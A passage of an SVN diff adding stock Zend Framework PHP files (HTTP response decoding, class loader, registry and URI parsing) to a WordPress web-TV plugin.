+                    $last_header_key = key($headers[$last_header]);
+                    $headers[$last_header][$last_header_key] .= $m[1];
+                } else {
+                    $headers[$last_header] .= $m[1];
+                }
+            }
+        }
+
+        return $headers;
+    }
+
+    /**
+     * Extract the body from a response string
+     *
+     * @param string $response_str
+     * @return string
+     */
+    public static function extractBody($response_str)
+    {
+        $parts = preg_split('|(?:\r?\n){2}|m', $response_str, 2);
+        if (isset($parts[1])) { 
+            return $parts[1];
+        }
+        return '';
+    }
+
+    /**
+     * Decode a "chunked" transfer-encoded body and return the decoded text
+     *
+     * @param string $body
+     * @return string
+     */
+    public static function decodeChunkedBody($body)
+    {
+        $decBody = '';
+        
+        while (trim($body)) {
+            if (! preg_match("/^([\da-fA-F]+)[^\r\n]*\r\n/sm", $body, $m)) {
+                require_once 'Zend/Http/Exception.php';
+                throw new Zend_Http_Exception("Error parsing body - doesn't seem to be a chunked message");
+            }
+
+            $length = hexdec(trim($m[1]));
+            $cut = strlen($m[0]);
+
+            $decBody .= substr($body, $cut, $length);
+            $body = substr($body, $cut + $length + 2);
+        }
+
+        return $decBody;
+    }
+
+    /**
+     * Decode a gzip encoded message (when Content-encoding = gzip)
+     *
+     * Currently requires PHP with zlib support
+     *
+     * @param string $body
+     * @return string
+     */
+    public static function decodeGzip($body)
+    {
+        if (! function_exists('gzinflate')) {
+            require_once 'Zend/Http/Exception.php';
+            throw new Zend_Http_Exception('Unable to decode gzipped response ' . 
+                'body: perhaps the zlib extension is not loaded?'); 
+        }
+
+        return gzinflate(substr($body, 10));
+    }
+
+    /**
+     * Decode a zlib deflated message (when Content-encoding = deflate)
+     *
+     * Currently requires PHP with zlib support
+     *
+     * @param string $body
+     * @return string
+     */
+    public static function decodeDeflate($body)
+    {
+        if (! function_exists('gzuncompress')) {
+            require_once 'Zend/Http/Exception.php';
+            throw new Zend_Http_Exception('Unable to decode deflated response ' . 
+                'body: perhaps the zlib extension is not loaded?'); 
+        }
+
+        return gzuncompress($body);
+    }
+
+    /**
+     * Create a new Zend_Http_Response object from a string
+     *
+     * @param string $response_str
+     * @return Zend_Http_Response
+     */
+    public static function fromString($response_str)
+    {
+        $code    = self::extractCode($response_str);
+        $headers = self::extractHeaders($response_str);
+        $body    = self::extractBody($response_str);
+        $version = self::extractVersion($response_str);
+        $message = self::extractMessage($response_str);
+
+        return new Zend_Http_Response($code, $headers, $body, $version, $message);
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Loader.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Loader.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Loader.php	(revision 44)
@@ -0,0 +1,270 @@
+<?php
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Loader
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ * @version    $Id: Loader.php 15519 2009-05-11 11:57:05Z matthew $
+ */
+
+/**
+ * Static methods for loading classes and files.
+ *
+ * @category   Zend
+ * @package    Zend_Loader
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Loader
+{
+    /**
+     * Loads a class from a PHP file.  The filename must be formatted
+     * as "$class.php".
+     *
+     * If $dirs is a string or an array, it will search the directories
+     * in the order supplied, and attempt to load the first matching file.
+     *
+     * If $dirs is null, it will split the class name at underscores to
+     * generate a path hierarchy (e.g., "Zend_Example_Class" will map
+     * to "Zend/Example/Class.php").
+     *
+     * If the file was not found in the $dirs, or if no $dirs were specified,
+     * it will attempt to load it from PHP's include_path.
+     *
+     * @param string $class      - The full class name of a Zend component.
+     * @param string|array $dirs - OPTIONAL Either a path or an array of paths
+     *                             to search.
+     * @return void
+     * @throws Zend_Exception
+     */
+    public static function loadClass($class, $dirs = null)
+    {
+        if (class_exists($class, false) || interface_exists($class, false)) {
+            return;
+        }
+
+        if ((null !== $dirs) && !is_string($dirs) && !is_array($dirs)) {
+            require_once 'Zend/Exception.php';
+            throw new Zend_Exception('Directory argument must be a string or an array');
+        }
+
+        // autodiscover the path from the class name
+        $file = str_replace('_', DIRECTORY_SEPARATOR, $class) . '.php';
+        if (!empty($dirs)) {
+            // use the autodiscovered path
+            $dirPath = dirname($file);
+            if (is_string($dirs)) {
+                $dirs = explode(PATH_SEPARATOR, $dirs);
+            }
+            foreach ($dirs as $key => $dir) {
+                if ($dir == '.') {
+                    $dirs[$key] = $dirPath;
+                } else {
+                    $dir = rtrim($dir, '\\/');
+                    $dirs[$key] = $dir . DIRECTORY_SEPARATOR . $dirPath;
+                }
+            }
+            $file = basename($file);
+            self::loadFile($file, $dirs, true);
+        } else {
+            self::_securityCheck($file);
+            include $file;
+        }
+
+        if (!class_exists($class, false) && !interface_exists($class, false)) {
+            require_once 'Zend/Exception.php';
+            throw new Zend_Exception("File \"$file\" does not exist or class \"$class\" was not found in the file");
+        }
+    }
+
+    /**
+     * Loads a PHP file.  This is a wrapper for PHP's include() function.
+     *
+     * $filename must be the complete filename, including any
+     * extension such as ".php".  Note that a security check is performed that
+     * does not permit extended characters in the filename.  This method is
+     * intended for loading Zend Framework files.
+     *
+     * If $dirs is a string or an array, it will search the directories
+     * in the order supplied, and attempt to load the first matching file.
+     *
+     * If the file was not found in the $dirs, or if no $dirs were specified,
+     * it will attempt to load it from PHP's include_path.
+     *
+     * If $once is TRUE, it will use include_once() instead of include().
+     *
+     * @param  string        $filename
+     * @param  string|array  $dirs - OPTIONAL either a path or array of paths
+     *                       to search.
+     * @param  boolean       $once
+     * @return boolean
+     * @throws Zend_Exception
+     */
+    public static function loadFile($filename, $dirs = null, $once = false)
+    {
+        self::_securityCheck($filename);
+
+        /**
+         * Search in provided directories, as well as include_path
+         */
+        $incPath = false;
+        if (!empty($dirs) && (is_array($dirs) || is_string($dirs))) {
+            if (is_array($dirs)) {
+                $dirs = implode(PATH_SEPARATOR, $dirs);
+            }
+            $incPath = get_include_path();
+            set_include_path($dirs . PATH_SEPARATOR . $incPath);
+        }
+
+        /**
+         * Try finding for the plain filename in the include_path.
+         */
+        if ($once) {
+            include_once $filename;
+        } else {
+            include $filename;
+        }
+
+        /**
+         * If searching in directories, reset include_path
+         */
+        if ($incPath) {
+            set_include_path($incPath);
+        }
+
+        return true;
+    }
+
+    /**
+     * Returns TRUE if the $filename is readable, or FALSE otherwise.
+     * This function uses the PHP include_path, where PHP's is_readable()
+     * does not.
+     *
+     * Note from ZF-2900:
+     * If you use custom error handler, please check whether return value
+     *  from error_reporting() is zero or not.
+     * At mark of fopen() can not suppress warning if the handler is used.
+     *
+     * @param string   $filename
+     * @return boolean
+     */
+    public static function isReadable($filename)
+    {
+        if (!$fh = @fopen($filename, 'r', true)) {
+            return false;
+        }
+        @fclose($fh);
+        return true;
+    }
+
+    /**
+     * spl_autoload() suitable implementation for supporting class autoloading.
+     *
+     * Attach to spl_autoload() using the following:
+     * <code>
+     * spl_autoload_register(array('Zend_Loader', 'autoload'));
+     * </code>
+     *
+     * @deprecated Since 1.8.0
+     * @param  string $class
+     * @return string|false Class name on success; false on failure
+     */
+    public static function autoload($class)
+    {
+        trigger_error(__CLASS__ . '::' . __METHOD__ . ' is deprecated as of 1.8.0 and will be removed with 2.0.0; use Zend_Loader_Autoloader instead', E_USER_NOTICE);
+        try {
+            @self::loadClass($class);
+            return $class;
+        } catch (Exception $e) {
+            return false;
+        }
+    }
+
+    /**
+     * Register {@link autoload()} with spl_autoload()
+     *
+     * @deprecated Since 1.8.0
+     * @param string $class (optional)
+     * @param boolean $enabled (optional)
+     * @return void
+     * @throws Zend_Exception if spl_autoload() is not found
+     * or if the specified class does not have an autoload() method.
+     */
+    public static function registerAutoload($class = 'Zend_Loader', $enabled = true)
+    {
+        trigger_error(__CLASS__ . '::' . __METHOD__ . ' is deprecated as of 1.8.0 and will be removed with 2.0.0; use Zend_Loader_Autoloader instead', E_USER_NOTICE);
+        require_once 'Zend/Loader/Autoloader.php';
+        $autoloader = Zend_Loader_Autoloader::getInstance();
+        $autoloader->setFallbackAutoloader(true);
+
+        if ('Zend_Loader' != $class) {
+            self::loadClass($class);
+            $methods = get_class_methods($class);
+            if (!in_array('autoload', (array) $methods)) {
+                require_once 'Zend/Exception.php';
+                throw new Zend_Exception("The class \"$class\" does not have an autoload() method");
+            }
+
+            $callback = array($class, 'autoload');
+
+            if ($enabled) {
+                $autoloader->pushAutoloader($callback);
+            } else {
+                $autoloader->removeAutoloader($callback);
+            }
+        }
+    }
+
+    /**
+     * Ensure that filename does not contain exploits
+     *
+     * @param  string $filename
+     * @return void
+     * @throws Zend_Exception
+     */
+    protected static function _securityCheck($filename)
+    {
+        /**
+         * Security check
+         */
+        if (preg_match('/[^a-z0-9\\/\\\\_.:-]/i', $filename)) {
+            require_once 'Zend/Exception.php';
+            throw new Zend_Exception('Security check: Illegal character in filename');
+        }
+    }
+
+    /**
+     * Attempt to include() the file.
+     *
+     * include() is not prefixed with the @ operator because if
+     * the file is loaded and contains a parse error, execution
+     * will halt silently and this is difficult to debug.
+     *
+     * Always set display_errors = Off on production servers!
+     *
+     * @param  string  $filespec
+     * @param  boolean $once
+     * @return boolean
+     * @deprecated Since 1.5.0; use loadFile() instead
+     */
+    protected static function _includeFile($filespec, $once = false)
+    {
+        if ($once) {
+            return include_once $filespec;
+        } else {
+            return include $filespec ;
+        }
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Registry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Registry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Registry.php	(revision 44)
@@ -0,0 +1,207 @@
+<?php
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Registry
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ * @version    $Id: Registry.php 12065 2008-10-21 20:56:32Z doctorrock83 $
+ */
+
+/**
+ * Generic storage class helps to manage global data.
+ *
+ * @category   Zend
+ * @package    Zend_Registry
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Registry extends ArrayObject
+{
+    /**
+     * Class name of the singleton registry object.
+     * @var string
+     */
+    private static $_registryClassName = 'Zend_Registry';
+
+    /**
+     * Registry object provides storage for shared objects.
+     * @var Zend_Registry
+     */
+    private static $_registry = null;
+
+    /**
+     * Retrieves the default registry instance.
+     *
+     * @return Zend_Registry
+     */
+    public static function getInstance()
+    {
+        if (self::$_registry === null) {
+            self::init();
+        }
+
+        return self::$_registry;
+    }
+
+    /**
+     * Set the default registry instance to a specified instance.
+     *
+     * @param Zend_Registry $registry An object instance of type Zend_Registry,
+     *   or a subclass.
+     * @return void
+     * @throws Zend_Exception if registry is already initialized.
+     */
+    public static function setInstance(Zend_Registry $registry)
+    {
+        if (self::$_registry !== null) {
+            require_once 'Zend/Exception.php';
+            throw new Zend_Exception('Registry is already initialized');
+        }
+
+        self::setClassName(get_class($registry));
+        self::$_registry = $registry;
+    }
+
+    /**
+     * Initialize the default registry instance.
+     *
+     * @return void
+     */
+    protected static function init()
+    {
+        self::setInstance(new self::$_registryClassName());
+    }
+
+    /**
+     * Set the class name to use for the default registry instance.
+     * Does not affect the currently initialized instance, it only applies
+     * for the next time you instantiate.
+     *
+     * @param string $registryClassName
+     * @return void
+     * @throws Zend_Exception if the registry is initialized or if the
+     *   class name is not valid.
+     */
+    public static function setClassName($registryClassName = 'Zend_Registry')
+    {
+        if (self::$_registry !== null) {
+            require_once 'Zend/Exception.php';
+            throw new Zend_Exception('Registry is already initialized');
+        }
+
+        if (!is_string($registryClassName)) {
+            require_once 'Zend/Exception.php';
+            throw new Zend_Exception("Argument is not a class name");
+        }
+
+        /**
+         * @see Zend_Loader
+         */
+        require_once 'Zend/Loader.php';
+        Zend_Loader::loadClass($registryClassName);
+
+        self::$_registryClassName = $registryClassName;
+    }
+
+    /**
+     * Unset the default registry instance.
+     * Primarily used in tearDown() in unit tests.
+     * @returns void
+     */
+    public static function _unsetInstance()
+    {
+        self::$_registry = null;
+    }
+
+    /**
+     * getter method, basically same as offsetGet().
+     *
+     * This method can be called from an object of type Zend_Registry, or it
+     * can be called statically.  In the latter case, it uses the default
+     * static instance stored in the class.
+     *
+     * @param string $index - get the value associated with $index
+     * @return mixed
+     * @throws Zend_Exception if no entry is registerd for $index.
+     */
+    public static function get($index)
+    {
+        $instance = self::getInstance();
+
+        if (!$instance->offsetExists($index)) {
+            require_once 'Zend/Exception.php';
+            throw new Zend_Exception("No entry is registered for key '$index'");
+        }
+
+        return $instance->offsetGet($index);
+    }
+
+    /**
+     * setter method, basically same as offsetSet().
+     *
+     * This method can be called from an object of type Zend_Registry, or it
+     * can be called statically.  In the latter case, it uses the default
+     * static instance stored in the class.
+     *
+     * @param string $index The location in the ArrayObject in which to store
+     *   the value.
+     * @param mixed $value The object to store in the ArrayObject.
+     * @return void
+     */
+    public static function set($index, $value)
+    {
+        $instance = self::getInstance();
+        $instance->offsetSet($index, $value);
+    }
+
+    /**
+     * Returns TRUE if the $index is a named value in the registry,
+     * or FALSE if $index was not found in the registry.
+     *
+     * @param  string $index
+     * @return boolean
+     */
+    public static function isRegistered($index)
+    {
+        if (self::$_registry === null) {
+            return false;
+        }
+        return self::$_registry->offsetExists($index);
+    }
+
+    /**
+     * Constructs a parent ArrayObject with default
+     * ARRAY_AS_PROPS to allow acces as an object
+     *
+     * @param array $array data array
+     * @param integer $flags ArrayObject flags
+     */
+    public function __construct($array = array(), $flags = parent::ARRAY_AS_PROPS)
+    {
+        parent::__construct($array, $flags);
+    }
+
+    /**
+     * @param string $index
+     * @returns mixed
+     *
+     * Workaround for http://bugs.php.net/bug.php?id=40442 (ZF-960).
+     */
+    public function offsetExists($index)
+    {
+        return array_key_exists($index, $this);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Uri.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Uri.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Uri.php	(revision 44)
@@ -0,0 +1,185 @@
+<?php
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category  Zend
+ * @package   Zend_Uri
+ * @copyright Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license   http://framework.zend.com/license/new-bsd     New BSD License
+ * @version   $Id: Uri.php 12037 2008-10-20 18:54:44Z shahar $
+ */
+
+/**
+ * @see Zend_Loader
+ */
+require_once 'Zend/Loader.php';
+
+/**
+ * Abstract class for all Zend_Uri handlers
+ *
+ * @category  Zend
+ * @package   Zend_Uri
+ * @copyright Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license   http://framework.zend.com/license/new-bsd     New BSD License
+ */
+abstract class Zend_Uri
+{
+    /**
+     * Scheme of this URI (http, ftp, etc.)
+     *
+     * @var string
+     */
+    protected $_scheme = '';
+
+    /**
+     * Global configuration array
+     *
+     * @var array
+     */
+    static protected $_config = array(
+        'allow_unwise' => false
+    );
+    
+    /**
+     * Return a string representation of this URI.
+     *
+     * @see    getUri()
+     * @return string
+     */
+    public function __toString()
+    {
+        return $this->getUri();
+    }
+
+    /**
+     * Convenience function, checks that a $uri string is well-formed
+     * by validating it but not returning an object.  Returns TRUE if
+     * $uri is a well-formed URI, or FALSE otherwise.
+     *
+     * @param  string $uri The URI to check
+     * @return boolean
+     */
+    public static function check($uri)
+    {
+        try {
+            $uri = self::factory($uri);
+        } catch (Exception $e) {
+            return false;
+        }
+
+        return $uri->valid();
+    }
+
+    /**
+     * Create a new Zend_Uri object for a URI.  If building a new URI, then $uri should contain
+     * only the scheme (http, ftp, etc).  Otherwise, supply $uri with the complete URI.
+     *
+     * @param  string $uri The URI form which a Zend_Uri instance is created
+     * @throws Zend_Uri_Exception When an empty string was supplied for the scheme
+     * @throws Zend_Uri_Exception When an illegal scheme is supplied
+     * @throws Zend_Uri_Exception When the scheme is not supported
+     * @return Zend_Uri
+     * @link   http://www.faqs.org/rfcs/rfc2396.html
+     */
+    public static function factory($uri = 'http')
+    {
+        // Separate the scheme from the scheme-specific parts
+        $uri            = explode(':', $uri, 2);
+        $scheme         = strtolower($uri[0]);
+        $schemeSpecific = isset($uri[1]) === true ? $uri[1] : '';
+
+        if (strlen($scheme) === 0) {
+            require_once 'Zend/Uri/Exception.php';
+            throw new Zend_Uri_Exception('An empty string was supplied for the scheme');
+        }
+
+        // Security check: $scheme is used to load a class file, so only alphanumerics are allowed.
+        if (ctype_alnum($scheme) === false) {
+            require_once 'Zend/Uri/Exception.php';
+            throw new Zend_Uri_Exception('Illegal scheme supplied, only alphanumeric characters are permitted');
+        }
+
+        /**
+         * Create a new Zend_Uri object for the $uri. If a subclass of Zend_Uri exists for the
+         * scheme, return an instance of that class. Otherwise, a Zend_Uri_Exception is thrown.
+         */
+        switch ($scheme) {
+            case 'http':
+                // Break intentionally omitted
+            case 'https':
+                $className = 'Zend_Uri_Http';
+                break;
+
+            case 'mailto':
+                // TODO
+            default:
+                require_once 'Zend/Uri/Exception.php';
+                throw new Zend_Uri_Exception("Scheme \"$scheme\" is not supported");
+                break;
+        }
+
+        Zend_Loader::loadClass($className);
+        $schemeHandler = new $className($scheme, $schemeSpecific);
+
+        return $schemeHandler;
+    }
+
+    /**
+     * Get the URI's scheme
+     *
+     * @return string|false Scheme or false if no scheme is set.
+     */
+    public function getScheme()
+    {
+        if (empty($this->_scheme) === false) {
+            return $this->_scheme;
+        } else {
+            return false;
+        }
+    }
+
+    /**
+     * Set global configuration options
+     *
+     * @param array $config
+     */
+    static public function setConfig(array $config)
+    {
+        foreach ($config as $k => $v) {
+            self::$_config[$k] = $v;
+        }
+    }
+    
+    /**
+     * Zend_Uri and its subclasses cannot be instantiated directly.
+     * Use Zend_Uri::factory() to return a new Zend_Uri object.
+     *
+     * @param string $scheme         The scheme of the URI
+     * @param string $schemeSpecific The scheme-specific part of the URI
+     */
+    abstract protected function __construct($scheme, $schemeSpecific = '');
+
+    /**
+     * Return a string representation of this URI.
+     *
+     * @return string
+     */
+    abstract public function getUri();
+
+    /**
+     * Returns TRUE if this URI is valid, or FALSE otherwise.
+     *
+     * @return boolean
+     */
+    abstract public function valid();
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Uri/Exception.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Uri/Exception.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Uri/Exception.php	(revision 44)
@@ -0,0 +1,37 @@
+<?php
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category  Zend
+ * @package   Zend_Uri
+ * @copyright Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license   http://framework.zend.com/license/new-bsd     New BSD License
+ * @version   $Id: Exception.php 9656 2008-06-10 16:21:13Z dasprid $
+ */
+
+/**
+ * @see Zend_Exception
+ */
+require_once 'Zend/Exception.php';
+
+/**
+ * Exceptions for Zend_Uri
+ *
+ * @category  Zend
+ * @package   Zend_Uri
+ * @copyright Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license   http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Uri_Exception extends Zend_Exception
+{
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Uri/Http.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Uri/Http.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Uri/Http.php	(revision 44)
@@ -0,0 +1,726 @@
+<?php
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category  Zend
+ * @package   Zend_Uri
+ * @copyright Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license   http://framework.zend.com/license/new-bsd     New BSD License
+ * @version   $Id: Http.php 14650 2009-04-05 03:15:38Z robinsk $
+ */
+
+/**
+ * @see Zend_Uri
+ */
+require_once 'Zend/Uri.php';
+
+/**
+ * @see Zend_Validate_Hostname
+ */
+require_once 'Zend/Validate/Hostname.php';
+
+/**
+ * HTTP(S) URI handler
+ *
+ * @category  Zend
+ * @package   Zend_Uri
+ * @uses      Zend_Uri
+ * @copyright Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license   http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Uri_Http extends Zend_Uri
+{
+    /**
+     * Character classes for validation regular expressions
+     */
+    const CHAR_ALNUM    = 'A-Za-z0-9';
+    const CHAR_MARK     = '-_.!~*\'()\[\]';
+    const CHAR_RESERVED = ';\/?:@&=+$,';
+    const CHAR_SEGMENT  = ':@&=+$,;';
+    const CHAR_UNWISE   = '{}|\\\\^`';
+
+    /**
+     * HTTP username
+     *
+     * @var string
+     */
+    protected $_username = '';
+
+    /**
+     * HTTP password
+     *
+     * @var string
+     */
+    protected $_password = '';
+
+    /**
+     * HTTP host
+     *
+     * @var string
+     */
+    protected $_host = '';
+
+    /**
+     * HTTP post
+     *
+     * @var string
+     */
+    protected $_port = '';
+
+    /**
+     * HTTP part
+     *
+     * @var string
+     */
+    protected $_path = '';
+
+    /**
+     * HTTP query
+     *
+     * @var string
+     */
+    protected $_query = '';
+
+    /**
+     * HTTP fragment
+     *
+     * @var string
+     */
+    protected $_fragment = '';
+
+    /**
+     * Regular expression grammar rules for validation; values added by constructor
+     *
+     * @var array
+     */
+    protected $_regex = array();
+
+    /**
+     * Constructor accepts a string $scheme (e.g., http, https) and a scheme-specific part of the URI
+     * (e.g., example.com/path/to/resource?query=param#fragment)
+     *
+     * @param  string $scheme         The scheme of the URI
+     * @param  string $schemeSpecific The scheme-specific part of the URI
+     * @throws Zend_Uri_Exception When the URI is not valid
+     */
+    protected function __construct($scheme, $schemeSpecific = '')
+    {
+        // Set the scheme
+        $this->_scheme = $scheme;
+
+        // Set up grammar rules for validation via regular expressions. These
+        // are to be used with slash-delimited regular expression strings.
+
+        // Escaped special characters (eg. '%25' for '%')
+        $this->_regex['escaped']    = '%[[:xdigit:]]{2}';
+
+        // Unreserved characters
+        $this->_regex['unreserved'] = '[' . self::CHAR_ALNUM . self::CHAR_MARK . ']';
+
+        // Segment can use escaped, unreserved or a set of additional chars
+        $this->_regex['segment']    = '(?:' . $this->_regex['escaped'] . '|[' .
+            self::CHAR_ALNUM . self::CHAR_MARK . self::CHAR_SEGMENT . '])*';
+
+        // Path can be a series of segmets char strings seperated by '/'
+        $this->_regex['path']       = '(?:\/(?:' . $this->_regex['segment'] . ')?)+';
+
+        // URI characters can be escaped, alphanumeric, mark or reserved chars
+        $this->_regex['uric']       = '(?:' . $this->_regex['escaped'] . '|[' .
+            self::CHAR_ALNUM . self::CHAR_MARK . self::CHAR_RESERVED .
+
+        // If unwise chars are allowed, add them to the URI chars class
+            (self::$_config['allow_unwise'] ? self::CHAR_UNWISE : '') . '])';
+
+        // If no scheme-specific part was supplied, the user intends to create
+        // a new URI with this object.  No further parsing is required.
+        if (strlen($schemeSpecific) === 0) {
+            return;
+        }
+
+        // Parse the scheme-specific URI parts into the instance variables.
+        $this->_parseUri($schemeSpecific);
+
+        // Validate the URI
+        if ($this->valid() === false) {
+            require_once 'Zend/Uri/Exception.php';
+            throw new Zend_Uri_Exception('Invalid URI supplied');
+        }
+    }
+
+    /**
+     * Creates a Zend_Uri_Http from the given string
+     *
+     * @param  string $uri String to create URI from, must start with
+     *                     'http://' or 'https://'
+     * @throws InvalidArgumentException  When the given $uri is not a string or
+     *                                   does not start with http:// or https://
+     * @throws Zend_Uri_Exception        When the given $uri is invalid
+     * @return Zend_Uri_Http
+     */
+    public static function fromString($uri)
+    {
+        if (is_string($uri) === false) {
+            require_once 'Zend/Uri/Exception.php';
+            throw new Zend_Uri_Exception('$uri is not a string');
+        }
+
+        $uri            = explode(':', $uri, 2);
+        $scheme         = strtolower($uri[0]);
+        $schemeSpecific = isset($uri[1]) === true ? $uri[1] : '';
+
+        if (in_array($scheme, array('http', 'https')) === false) {
+            require_once 'Zend/Uri/Exception.php';
+            throw new Zend_Uri_Exception("Invalid scheme: '$scheme'");
+        }
+
+        $schemeHandler = new Zend_Uri_Http($scheme, $schemeSpecific);
+        return $schemeHandler;
+    }
+
+    /**
+     * Parse the scheme-specific portion of the URI and place its parts into instance variables.
+     *
+     * @param  string $schemeSpecific The scheme-specific portion to parse
+     * @throws Zend_Uri_Exception When scheme-specific decoposition fails
+     * @throws Zend_Uri_Exception When authority decomposition fails
+     * @return void
+     */
+    protected function _parseUri($schemeSpecific)
+    {
+        // High-level decomposition parser
+        $pattern = '~^((//)([^/?#]*))([^?#]*)(\?([^#]*))?(#(.*))?$~';
+        $status  = @preg_match($pattern, $schemeSpecific, $matches);
+        if ($status === false) {
+            require_once 'Zend/Uri/Exception.php';
+            throw new Zend_Uri_Exception('Internal error: scheme-specific decomposition failed');
+        }
+
+        // Failed decomposition; no further processing needed
+        if ($status === false) {
+            return;
+        }
+
+        // Save URI components that need no further decomposition
+        $this->_path     = isset($matches[4]) === true ? $matches[4] : '';
+        $this->_query    = isset($matches[6]) === true ? $matches[6] : '';
+        $this->_fragment = isset($matches[8]) === true ? $matches[8] : '';
+
+        // Additional decomposition to get username, password, host, and port
+        $combo   = isset($matches[3]) === true ? $matches[3] : '';
+        $pattern = '~^(([^:@]*)(:([^@]*))?@)?([^:]+)(:(.*))?$~';
+        $status  = @preg_match($pattern, $combo, $matches);
+        if ($status === false) {
+            require_once 'Zend/Uri/Exception.php';
+            throw new Zend_Uri_Exception('Internal error: authority decomposition failed');
+        }
+
+        // Failed decomposition; no further processing needed
+        if ($status === false) {
+            return;
+        }
+
+        // Save remaining URI components
+        $this->_username = isset($matches[2]) === true ? $matches[2] : '';
+        $this->_password = isset($matches[4]) === true ? $matches[4] : '';
+        $this->_host     = isset($matches[5]) === true ? $matches[5] : '';
+        $this->_port     = isset($matches[7]) === true ? $matches[7] : '';
+
+    }
+
+    /**
+     * Returns a URI based on current values of the instance variables. If any
+     * part of the URI does not pass validation, then an exception is thrown.
+     *
+     * @throws Zend_Uri_Exception When one or more parts of the URI are invalid
+     * @return string
+     */
+    public function getUri()
+    {
+        if ($this->valid() === false) {
+            require_once 'Zend/Uri/Exception.php';
+            throw new Zend_Uri_Exception('One or more parts of the URI are invalid');
+        }
+
+        $password = strlen($this->_password) > 0 ? ":$this->_password" : '';
+        $auth     = strlen($this->_username) > 0 ? "$this->_username$password@" : '';
+        $port     = strlen($this->_port) > 0 ? ":$this->_port" : '';
+        $query    = strlen($this->_query) > 0 ? "?$this->_query" : '';
+        $fragment = strlen($this->_fragment) > 0 ? "#$this->_fragment" : '';
+
+        return $this->_scheme
+             . '://'
+             . $auth
+             . $this->_host
+             . $port
+             . $this->_path
+             . $query
+             . $fragment;
+    }
+
+    /**
+     * Validate the current URI from the instance variables. Returns true if and only if all
+     * parts pass validation.
+     *
+     * @return boolean
+     */
+    public function valid()
+    {
+        // Return true if and only if all parts of the URI have passed validation
+        return $this->validateUsername()
+           and $this->validatePassword()
+           and $this->validateHost()
+           and $this->validatePort()
+           and $this->validatePath()
+           and $this->validateQuery()
+           and $this->validateFragment();
+    }
+
+    /**
+     * Returns the username portion of the URL, or FALSE if none.
+     *
+     * @return string
+     */
+    public function getUsername()
+    {
+        return strlen($this->_username) > 0 ? $this->_username : false;
+    }
+
+    /**
+     * Returns true if and only if the username passes validation. If no username is passed,
